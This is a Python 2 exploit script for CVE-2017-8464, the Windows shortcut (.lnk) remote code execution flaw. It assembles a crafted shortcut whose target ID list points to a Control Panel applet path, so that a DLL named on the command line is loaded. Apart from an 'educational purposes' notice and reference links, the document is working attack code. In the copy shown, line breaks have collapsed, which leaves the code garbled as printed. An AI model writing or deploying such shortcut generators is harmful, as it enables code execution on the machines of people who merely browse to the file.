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#!/usr/bin/python # -*- coding: utf-8 -*- # Title : CVE-2017-8464 | LNK Remote Code Execution Vulnerability # CVE : 2017-8464 # Authors : [ykoster, nixawk] # Notice: Only for educational purposes. # Support : python2 import struct def generate_SHELL_LINK_HEADER(): # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # |HeaderSize | # ----------------------------------------------------------------- # |LinkCLSID (16 bytes) | # ----------------------------------------------------------------- # |...| # ----------------------------------------------------------------- # |...| # ----------------------------------------------------------------- # |LinkFlags| # ----------------------------------------------------------------- # |FileAttributes | # ----------------------------------------------------------------- # |CreationTime | # ----------------------------------------------------------------- # |...| # ----------------------------------------------------------------- # |AccessTime | # ----------------------------------------------------------------- # |...| # ----------------------------------------------------------------- # |WriteTime| # ----------------------------------------------------------------- # |...| # ----------------------------------------------------------------- # |FileSize | # ----------------------------------------------------------------- # |IconIndex| # ----------------------------------------------------------------- # |ShowCommand| # ----------------------------------------------------------------- # |HotKey | Reserved1 | # ----------------------------------------------------------------- # |Reserved2| # ----------------------------------------------------------------- # |Reserved3| # ----------------------------------------------------------------- shell_link_header = [ b'\x4c\x00\x00\x00', # "HeaderSize" : (4 bytes) b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID": (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046} b'\x81\x00\x00\x00', # "LinkFlags": (4 bytes)0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode b'\x00\x00\x00\x00', # "FileAttributes" : (4 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "CreationTime" : (8 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "AccessTime" : (8 bytes) b'\x00\x00\x00\x00\x00\x00\x00\x00', # "WriteTime": (8 bytes) b'\x00\x00\x00\x00', # "FileSize" : (4 bytes) b'\x00\x00\x00\x00', # "IconIndex": (4 bytes) b'\x00\x00\x00\x00', # "ShowCommand": (4 bytes) b'\x00\x00', # "HotKey" : (2 bytes) b'\x00\x00', # "Reserved1": (2 bytes) b'\x00\x00\x00\x00', # "Reserved2": (4 bytes) b'\x00\x00\x00\x00', # "Reserved3": (4 bytes) ] return b"".join(shell_link_header) def generate_LINKTARGET_IDLIST(path, name): # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | IDListSize | IDList(variable) | # ----------------------------------------------------------------- # |...| # ----------------------------------------------------------------- # IDList = ItemID + ItemID + ... + TerminalID #ItemID = ItemIDSize + Data def generate_ItemID(Data): itemid = [ struct.pack('H', len(Data) + 2),# ItemIDSize + len(Data) Data ] # ItemIDSize = struct.pack('H', len(Data) + 2)# ItemIDSize + len(Data) # return ItemIDSize + Data return b"".join(itemid) def generate_cpl_applet(path, name=name): name += b'\x00' path += b'\x00' bindata = [ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00', struct.pack('H', len(path)), struct.pack('H', len(name)), path.encode('utf-16')[2:], name.encode('utf-16')[2:], b"\x00\x00"# comment ] return b"".join(bindata) idlist = [ # ItemIDList generate_ItemID(b'\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'), generate_ItemID(b'\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'), generate_ItemID(generate_cpl_applet(path)), b'\x00\x00',# TerminalID ] idlist = b"".join(idlist) idlistsize = struct.pack('H', len(idlist)) linktarget_idlist = [ idlistsize, idlist, ] return b"".join(linktarget_idlist) def generate_EXTRA_DATA(): # ExtraData refers to a set of structures that convey additional information about a link target. These # optional structures can be present in an extra data section that is appended to the basic Shell Link # Binary File Format. # EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK # EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS / #ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS / # KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS / # SHIM_PROPS / SPECIAL_FOLDER_PROPS / # TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS # SpecialFolderDataBlock # _________________________________________________________________ # | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | # |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1| # ----------------------------------------------------------------- # | BlockSize | # ----------------------------------------------------------------- # | BlockSignatire| # ----------------------------------------------------------------- # | SpecialFolderID | # ----------------------------------------------------------------- # | Offset| # ----------------------------------------------------------------- extra_data = [ b'\x10\x00\x00\x00', b'\x05\x00\x00\xA0', b'\x03\x00\x00\x00', b'\x28\x00\x00\x00', b'\x00\x00\x00\x00' # TERMINAL_BLOCK ] return b"".join(extra_data) def ms_shllink(path, name=b"Microsoft"): '''build Shell Link (.LNK) Binary File Format''' lnk_format = [ # Structures # SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO] #[STRING_DATA] *EXTRA_DATA # SHELL_LINK_HEADER: # A ShelllinkHeader structure which contains identification information, timestamps, and # flags that specify the presence of optional structures. generate_SHELL_LINK_HEADER(), # LINKTARGET_IDLIST: # An optional LinkTargetIDList structure,which specifies the target of the link. The # presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader. # # generate_LINKTARGET_IDLIST(path, name), # LINKINFO: # An optional LinkInfo structure, which specifies information necessary to resolve the link target. # The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader. # STRING_DATA: # Zero or more optional StringData structures, which are used to convey user interface and path # identification information. The presence of these structures is specified by bits in the ShellLinkHeader. # STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR] # [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION] # EXTRA_DATA: # Zero or more ExtraData structures generate_EXTRA_DATA() ] return b"".join(lnk_format) if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability") print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0]) sys.exit(0) lnkpath = sys.argv[1] dllpath = sys.argv[2] bindata = ms_shllink(path=dllpath) with open(lnkpath, 'wb') as lnkf: lnkf.write(bindata) ## References # 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464 # 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx # 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf # 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf # 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files # 6. https://twitter.com/mkolsek/status/877499744704237568 # 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g # 8. https://github.com/rapid7/metasploit-framework/pull/8767 |
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